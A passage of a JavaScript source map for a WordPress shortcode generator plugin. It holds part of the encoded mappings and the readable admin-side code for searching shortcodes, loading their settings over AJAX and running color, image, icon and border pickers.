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","file":"index.js","sourcesContent":["(function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=\"function\"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error(\"Cannot find module '\"+i+\"'\");throw a.code=\"MODULE_NOT_FOUND\",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=\"function\"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()","/* eslint-disable */\n\n/* global jQuery, wp, ajaxurl, SUGL10n */\n\nwindow.SUG = {}\n\nwindow.SUG.App = (($) => {\n  var $generator = $('#su-generator')\n  var $search = $('#su-generator-search')\n  var $filter = $('#su-generator-filter')\n  var $filters = $filter.children('a')\n  var $choices = $('#su-generator-choices')\n  var $choice = $choices.find('span')\n  var $settings = $('#su-generator-settings')\n  var $prefix = $('#su-compatibility-mode-prefix')\n  var $result = $('#su-generator-result')\n  var $selected = $('#su-generator-selected')\n\n  var self = {}\n\n  self.state = {\n    mceSelection: '',\n    target: '',\n    wpActiveEditor: null,\n    context: '',\n    insertArgs: '',\n    preview: {\n      timer: null,\n      request: null\n    }\n  }\n\n  self.el = {\n    body: $('body')\n  }\n\n  self.init = () => {\n    $filters.click(\n      function (e) {\n        // Prepare data\n        var filter = $(this).data('filter')\n        // If filter All, show all choices\n        if (filter === 'all') {\n          $choice.css(\n            {\n              opacity: 1\n            }\n          ).removeClass('su-generator-choice-first')\n        } else { // Else run search\n          var regex = new RegExp(filter, 'gi')\n          // Hide all choices\n          $choice.css({ opacity: 0.2 })\n          // Find searched choices and show\n          $choice.each(\n            function () {\n              // Get shortcode name\n              var group = $(this).data('group')\n              // Show choice if matched\n              if (group.match(regex) !== null) {\n                $(this)\n                  .css({ opacity: 1 })\n                  .removeClass('su-generator-choice-first')\n              }\n            }\n          )\n        }\n        e.preventDefault()\n      }\n    )\n    // Go to home link\n    $('#su-generator').on(\n      'click',\n      '.su-generator-home',\n      function (e) {\n        // Clear search field\n        $search.val('')\n        // Hide settings\n        $settings.html('').hide()\n        // Remove narrow class\n        $generator.removeClass('su-generator-narrow')\n        // Show filters\n        $filter.show()\n        // Show choices panel\n        $choices.show()\n        $choice.show()\n        // Clear selection\n        self.state.mceSelection = ''\n        // Focus search field\n        $search.focus()\n        e.preventDefault()\n      }\n    )\n    // Generator close button\n    $('#su-generator').on(\n      'click',\n      '.su-generator-close',\n      function (e) {\n        // Close popup\n        $.magnificPopup.close()\n        // Prevent default action\n        e.preventDefault()\n      }\n    )\n    // Search field\n    $search.on(\n      {\n        focus: function () {\n          // Clear field\n          $(this).val('')\n          // Hide settings\n          $settings.html('').hide()\n          // Remove narrow class\n          $generator.removeClass('su-generator-narrow')\n          // Show choices panel\n          $choices.show()\n          $choice.css(\n            {\n              opacity: 1\n            }\n          ).removeClass('su-generator-choice-first')\n          // Show filters\n          $filter.show()\n        },\n        blur: function () {},\n        keyup: function (e) {\n          // Prepare vars\n          var $first = $('.su-generator-choice-first:first')\n          var val = $(this).val()\n          var regex = new RegExp(val, 'gi')\n          var best = 0\n          // Hotkey action\n          if (e.keyCode === 13 && $first.length > 0) {\n            e.preventDefault()\n            $(this).val('').blur()\n            $first.trigger('click')\n          }\n          // Hide all choices\n          $choice.css(\n            {\n              opacity: 0.2\n            }\n          ).removeClass('su-generator-choice-first')\n          // Loop and highlight choices\n          $choice.each(\n            function () {\n              // Get choice data\n              var data = $(this).data()\n              var id = data.shortcode\n              var name = data.name\n              var desc = data.desc\n              var group = data.group\n              var matches = ([id, name, desc, group].join(' ')).match(regex)\n              // Highlight choice if matched\n              if (matches !== null) {\n                // Highlight current choice\n                $(this).css(\n                  {\n                    opacity: 1\n                  }\n                )\n                // Check for exact match\n                if (val === id) {\n                  // Remove primary class from all choices\n                  $choice.removeClass('su-generator-choice-first')\n                  // Add primary class to the current choice\n                  $(this).addClass('su-generator-choice-first')\n                  // Prevent selecting by matches number\n                  best = 999\n                } else if (matches.length > best) { // Check matches length\n                  // Remove primary class from all choices\n                  $choice.removeClass('su-generator-choice-first')\n                  // Add primary class to the current choice\n                  $(this).addClass('su-generator-choice-first')\n                  // Save the score\n                  best = matches.length\n                }\n              }\n            }\n          )\n          // Remove primary class if search field is empty\n          if (val === '') {\n            $choice.removeClass('su-generator-choice-first')\n          }\n        }\n      }\n    )\n    // Click on shortcode choice\n    $choice.on(\n      'click',\n      function (e) {\n        // Prepare data\n        var shortcode = $(this).data('shortcode')\n        // Load shortcode options\n        $.ajax(\n          {\n            type: 'POST',\n            url: ajaxurl,\n            data: {\n              action: 'su_generator_settings',\n              shortcode: shortcode\n            },\n            beforeSend: function () {\n              // Hide preview box\n              $('#su-generator-preview').hide()\n              // Hide choices panel\n              $choices.hide()\n              // Show loading animation\n              $settings.addClass('su-generator-loading').show()\n              // Add narrow class\n              $generator.addClass('su-generator-narrow')\n              // Hide filters\n              $filter.hide()\n            },\n            success: function (data) {\n              // Hide loading animation\n              $settings.removeClass('su-generator-loading')\n              // Insert new HTML\n              $settings.html(data)\n              // Apply selected text to the content field\n              var $content = $('#su-generator-content')\n              if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\n                $content.val(self.state.mceSelection)\n              }\n              // Init range pickers\n              $('.su-generator-range-picker').each(\n                function (index) {\n                  var $picker = $(this)\n                  var $val = $picker.find('input')\n                  var min = $val.attr('min')\n                  var max = $val.attr('max')\n                  var step = $val.attr('step')\n                  // Apply noUIslider\n                  $val.simpleSlider(\n                    {\n                      snap: true,\n                      step: step,\n                      range: [min, max]\n                    }\n                  )\n                  $val.show()\n                  $val.on(\n                    'keyup blur',\n                    function (e) {\n                      $val.simpleSlider('setValue', $val.val())\n                    }\n                  )\n                }\n              )\n              // Init color pickers\n              $('.su-generator-select-color').each(\n                function (index) {\n                  $(this).find('.su-generator-select-color-wheel').filter(':first').farbtastic('.su-generator-select-color-value:eq(' + index + ')')\n                  $(this).find('.su-generator-select-color-value').focus(\n                    function () {\n                      $('.su-generator-select-color-wheel:eq(' + index + ')').show()\n                    }\n                  )\n                  $(this).find('.su-generator-select-color-value').blur(\n                    function () {\n                      $('.su-generator-select-color-wheel:eq(' + index + ')').hide()\n                    }\n                  )\n                }\n              )\n              // Init image sourse pickers\n              $('.su-generator-isp').each(\n                function () {\n                  var $picker = $(this)\n                  var $sources = $picker.find('.su-generator-isp-sources')\n                  var $source = $picker.find('.su-generator-isp-source')\n                  var $addMedia = $picker.find('.su-generator-isp-add-media')\n                  var $images = $picker.find('.su-generator-isp-images')\n                  var $cats = $picker.find('.su-generator-isp-categories')\n                  var $taxes = $picker.find('.su-generator-isp-taxonomies')\n                  var $terms = $('.su-generator-isp-terms')\n                  var $val = $picker.find('.su-generator-attr')\n                  var frame\n                  // Update hidden value\n                  var update = function () {\n                    var val = 'none'\n                    var ids = ''\n                    var source = $sources.val()\n                    // Media library\n                    if (source === 'media') {\n                      var images = []\n                      $images.find('span').each(\n                        function (i) {\n                          images[i] = $(this).data('id')\n                        }\n                      )\n                      if (images.length > 0) {\n                        ids = images.join(',')\n                      }\n                    }\n                    // Category\n                    else if (source === 'category') {\n                      var categories = $cats.val() || []\n                      if (categories.length > 0) {\n                        ids = categories.join(',')\n                      }\n                    }\n                    // Taxonomy\n                    else if (source === 'taxonomy') {\n                      var tax = $taxes.val() || ''\n                      var terms = $terms.val() || []\n                      if (tax !== '0' && terms.length > 0) {\n                        val = 'taxonomy: ' + tax + '/' + terms.join(',')\n                      }\n                    }\n                    // Deselect\n                    else if (source === '0') {\n                      val = 'none'\n                    }\n                    // Other options\n                    else {\n                      val = source\n                    }\n                    if (ids !== '') {\n                      val = source + ': ' + ids\n                    }\n                    $val.val(val).trigger('change')\n                  }\n                  // Switch source\n                  $sources.on(\n                    'change',\n                    function (e) {\n                      var source = $(this).val()\n                      e.preventDefault()\n                      $source.removeClass('su-generator-isp-source-open')\n                      if (source.indexOf(':') === -1) {\n                        $picker.find('.su-generator-isp-source-' + source).addClass('su-generator-isp-source-open')\n                      }\n                      update()\n                    }\n                  )\n                  // Remove image\n                  $images.on(\n                    'click',\n                    'span i',\n                    function () {\n                      $(this).parent('span').css('border-color', '#f03').fadeOut(\n                        300,\n                        function () {\n                          $(this).remove()\n                          update()\n                        }\n                      )\n                    }\n                  )\n                  // Add image\n                  $addMedia.click(\n                    function (e) {\n                      e.preventDefault()\n                      if (typeof (frame) !== 'undefined') {\n                        frame.close()\n                      }\n                      frame = wp.media.frames.su_media_frame_1 = wp.media(\n                        {\n                          title: SUGL10n.isp_media_title,\n                          library: {\n                            type: 'image'\n                          },\n                          button: {\n                            text: SUGL10n.isp_media_insert\n                          },\n                          multiple: true\n                        }\n                      )\n                      frame.on('open', function () {\n                        $('.mfp-wrap').addClass('hidden')\n                      })\n                      frame.on('close', function () {\n                        $('.mfp-wrap').removeClass('hidden')\n                      })\n                      frame.on(\n                        'select',\n                        function () {\n                          var files = frame.state().get('selection').toJSON()\n                          $images.find('em').remove()\n                          $.each(\n                            files,\n                            function (i) {\n                              $images.append('<span data-id=\"' + this.id + '\"><img src=\"' + this.url + '\" alt=\"\" /><i class=\"sui sui-times\"></i></span>')\n                            }\n                          )\n                          update()\n                        }\n                      ).open()\n                    }\n                  )\n                  // Sort images\n                  $images.sortable(\n                    {\n                      revert: 200,\n                      containment: $picker,\n                      tolerance: 'pointer',\n                      stop: function () {\n                        update()\n                      }\n                    }\n                  )\n                  // Select categories and terms\n                  $cats.on('change', update)\n                  $terms.on('change', update)\n                  // Select taxonomy\n                  $taxes.on(\n                    'change',\n                    function () {\n                      var $cont = $(this).parents('.su-generator-isp-source')\n                      var tax = $(this).val()\n                      // Remove terms\n                      $terms.hide().find('option').remove()\n                      update()\n                      // Taxonomy is not selected\n                      if (tax === '0') {\n\n                      } else { // Taxonomy selected\n                        var ajaxTermSelect = $.ajax(\n                          {\n                            url: ajaxurl,\n                            type: 'post',\n                            dataType: 'html',\n                            data: {\n                              action: 'su_generator_get_terms',\n                              tax: tax,\n                              class: 'su-generator-isp-terms',\n                              multiple: true,\n                              size: 10\n                            },\n                            beforeSend: function () {\n                              if (typeof ajaxTermSelect === 'object') {\n                                ajaxTermSelect.abort()\n                              }\n                              $terms.html('').attr('disabled', true).hide()\n                              $cont.addClass('su-generator-loading')\n                            },\n                            success: function (data) {\n                              $terms.html(data).attr('disabled', false).show()\n                              $cont.removeClass('su-generator-loading')\n                            }\n                          }\n                        )\n                      }\n                    }\n                  )\n                }\n              )\n              // Init media buttons\n              $('.su-generator-upload-button').each(\n                function () {\n                  var $button = $(this)\n                  var $val = $(this).parents('.su-generator-attr-container').find('input:text')\n                  var file\n                  $button.on(\n                    'click',\n                    function (e) {\n                      e.preventDefault()\n                      e.stopPropagation()\n                      // If the frame already exists, reopen it\n                      if (typeof (file) !== 'undefined') {\n                        file.close()\n                      }\n                      // Create WP media frame.\n                      file = wp.media.frames.su_media_frame_2 = wp.media(\n                        {\n                          // Title of media manager frame\n                          title: SUGL10n.upload_title,\n                          button: {\n                            // Button text\n                            text: SUGL10n.upload_insert\n                          },\n                          // Do not allow multiple files, if you want multiple, set true\n                          multiple: false\n                        }\n                      )\n                      // callback for selected image\n                      file.on(\n                        'select',\n                        function () {\n                          var attachment = file.state().get('selection').first().toJSON()\n                          $val.val(attachment.url).trigger('change')\n                        }\n                      )\n                      file.on('open', function () {\n                        $('.mfp-wrap').addClass('hidden')\n                      })\n                      file.on('close', function () {\n                        $('.mfp-wrap').removeClass('hidden')\n                      })\n                      // Open modal\n                      file.open()\n                    }\n                  )\n                }\n              )\n              // Init icon pickers\n              $('.su-generator-icon-picker-button').each(\n                function () {\n                  var $button = $(this)\n                  var $field = $(this).parents('.su-generator-attr-container')\n                  var $val = $field.find('.su-generator-attr')\n                  var $picker = $field.find('.su-generator-icon-picker')\n                  var $filter = $picker.find('input:text')\n                  $button.click(\n                    function (e) {\n                      $picker.toggleClass('su-generator-icon-picker-visible')\n                      $filter.val('').trigger('keyup')\n                      if ($picker.hasClass('su-generator-icon-picker-loaded')) {\n                        return\n                      }\n                      // Load icons\n                      $.ajax(\n                        {\n                          type: 'post',\n                          url: ajaxurl,\n                          data: {\n                            action: 'su_generator_get_icons'\n                          },\n                          dataType: 'html',\n                          beforeSend: function () {\n                            // Show loading animation\n                            $picker.addClass('su-generator-loading')\n                            // Add loaded class\n                            $picker.addClass('su-generator-icon-picker-loaded')\n                          },\n                          success: function (data) {\n                            $picker.append(data)\n                            var $icons = $picker.children('i')\n                            $icons.click(\n                              function (e) {\n                                $val.val('icon: ' + $(this).attr('title'))\n                                $picker.removeClass('su-generator-icon-picker-visible')\n                                $val.trigger('change')\n                                e.preventDefault()\n                              }\n                            )\n                            $filter.on(\n                              {\n                                keyup: function () {\n                                  var val = $(this).val()\n                                  var regex = new RegExp(val, 'gi')\n                                  // Hide all choices\n                                  $icons.hide()\n                                  // Find searched choices and show\n                                  $icons.each(\n                                    function () {\n                                      // Get shortcode name\n                                      var name = $(this).attr('title')\n                                      // Show choice if matched\n                                      if (name.match(regex) !== null) {\n                                        $(this).show()\n                                      }\n                                    }\n                                  )\n                                },\n                                focus: function () {\n                                  $(this).val('')\n                                  $icons.show()\n                                }\n                              }\n                            )\n                            $picker.removeClass('su-generator-loading')\n                          }\n                        }\n                      )\n                      e.preventDefault()\n                    }\n                  )\n                }\n              )\n              // Init switches\n              $('.su-generator-switch').click(\n                function (e) {\n                  // Prepare data\n                  var $switch = $(this)\n                  var $value = $switch.parent().children('input')\n                  var isOn = $value.val() === 'yes'\n                  // Disable\n                  if (isOn) {\n                    // Change value\n                    $value.val('no').trigger('change')\n                  } else { // Enable\n                    // Change value\n                    $value.val('yes').trigger('change')\n                  }\n                  e.preventDefault()\n                }\n              )\n              $('.su-generator-switch-value').on(\n                'change',\n                function () {\n                  // Prepare data\n                  var $value = $(this)\n                  var $switch = $value.parent().children('.su-generator-switch')\n                  var value = $value.val()\n                  // Disable\n                  if (value === 'yes') {\n                    $switch.removeClass('su-generator-switch-no').addClass('su-generator-switch-yes')\n                  } else if (value === 'no') { // Enable\n                    $switch.removeClass('su-generator-switch-yes').addClass('su-generator-switch-no')\n                  }\n                }\n              )\n              // Init tax_term selects\n              $('select#su-generator-attr-taxonomy').on(\n                'change',\n                function () {\n                  var $taxonomy = $(this)\n                  var tax = $taxonomy.val()\n                  var $terms = $('select#su-generator-attr-tax_term')\n                  // Load new options\n                  window.su_generator_get_terms = $.ajax(\n                    {\n                      type: 'POST',\n                      url: ajaxurl,\n                      data: {\n                        action: 'su_generator_get_terms',\n                        tax: tax,\n                        noselect: true\n                      },\n                      dataType: 'html',\n                      beforeSend: function () {\n                        // Check previous requests\n                        if (typeof window.su_generator_get_terms === 'object') {\n                          window.su_generator_get_terms.abort()\n                        }\n                        // Show loading animation\n                        $terms.parent().addClass('su-generator-loading')\n                      },\n                      success: function (data) {\n                        // Remove previous options\n                        $terms.find('option').remove()\n                        // Append new options\n                        $terms.append(data)\n                        // Hide loading animation\n                        $terms.parent().removeClass('su-generator-loading')\n                      }\n                    }\n                  )\n                }\n              )\n              // Init shadow pickers\n              $('.su-generator-shadow-picker').each(\n                function (index) {\n                  var $picker = $(this)\n                  var $fields = $picker.find('.su-generator-shadow-picker-field input')\n                  var $hoff = $picker.find('.su-generator-sp-hoff')\n                  var $voff = $picker.find('.su-generator-sp-voff')\n                  var $blur = $picker.find('.su-generator-sp-blur')\n                  var $color = {\n                    cnt: $picker.find('.su-generator-shadow-picker-color'),\n                    value: $picker.find('.su-generator-shadow-picker-color-value'),\n                    wheel: $picker.find('.su-generator-shadow-picker-color-wheel')\n                  }\n                  var $val = $picker.find('.su-generator-attr')\n                  // Init color picker\n                  $color.wheel.farbtastic($color.value)\n                  $color.value.focus(\n                    function () {\n                      $color.wheel.show()\n                    }\n                  )\n                  $color.value.blur(\n                    function () {\n                      $color.wheel.hide()\n                    }\n                  )\n                  // Handle text fields\n                  $fields.on(\n                    'change blur keyup',\n                    function () {\n                      $val.val($hoff.val() + 'px ' + $voff.val() + 'px ' + $blur.val() + 'px ' + $color.value.val()).trigger('change')\n                    }\n                  )\n                  $val.on(\n                    'keyup',\n                    function () {\n                      var value = $(this).val().split(' ')\n                      // Value is correct\n                      if (value.length === 4) {\n                        $hoff.val(value[0].replace('px', ''))\n                        $voff.val(value[1].replace('px', ''))\n                        $blur.val(value[2].replace('px', ''))\n                        $color.value.val(value[3])\n                        $fields.trigger('keyup')\n                      }\n                    }\n                  )\n                }\n              )\n              // Init border pickers\n              $('.su-generator-border-picker').each(\n                function (index) {\n                  var $picker = $(this)\n                  var $fields = $picker.find('.su-generator-border-picker-field input, .su-generator-border-picker-field select')\n                  var $width = $picker.find('.su-generator-bp-width')\n                  var $style = $picker.find('.su-generator-bp-style')\n                  var $color = {\n                    cnt: $picker.find('.su-generator-border-picker-color'),\n                    value: $picker.find('.su-generator-border-picker-color-value'),\n                    wheel: $picker.find('.su-generator-border-picker-color-wheel')\n                  }\n                  var $val = $picker.find('.su-generator-attr')\n                  // Init color picker\n                  $color.wheel.farbtastic($color.value)\n                  $color.value.focus(\n                    function () {\n                      $color.wheel.show()\n                    }\n                  )\n                  $color.value.blur(\n                    function () {\n                      $color.wheel.hide()\n                    }\n                  )\n                  // Handle text fields\n                  $fields.on(\n                    'change blur keyup',\n                    function () {\n                      $val.val($width.val() + 'px ' + $style.val() + ' ' + 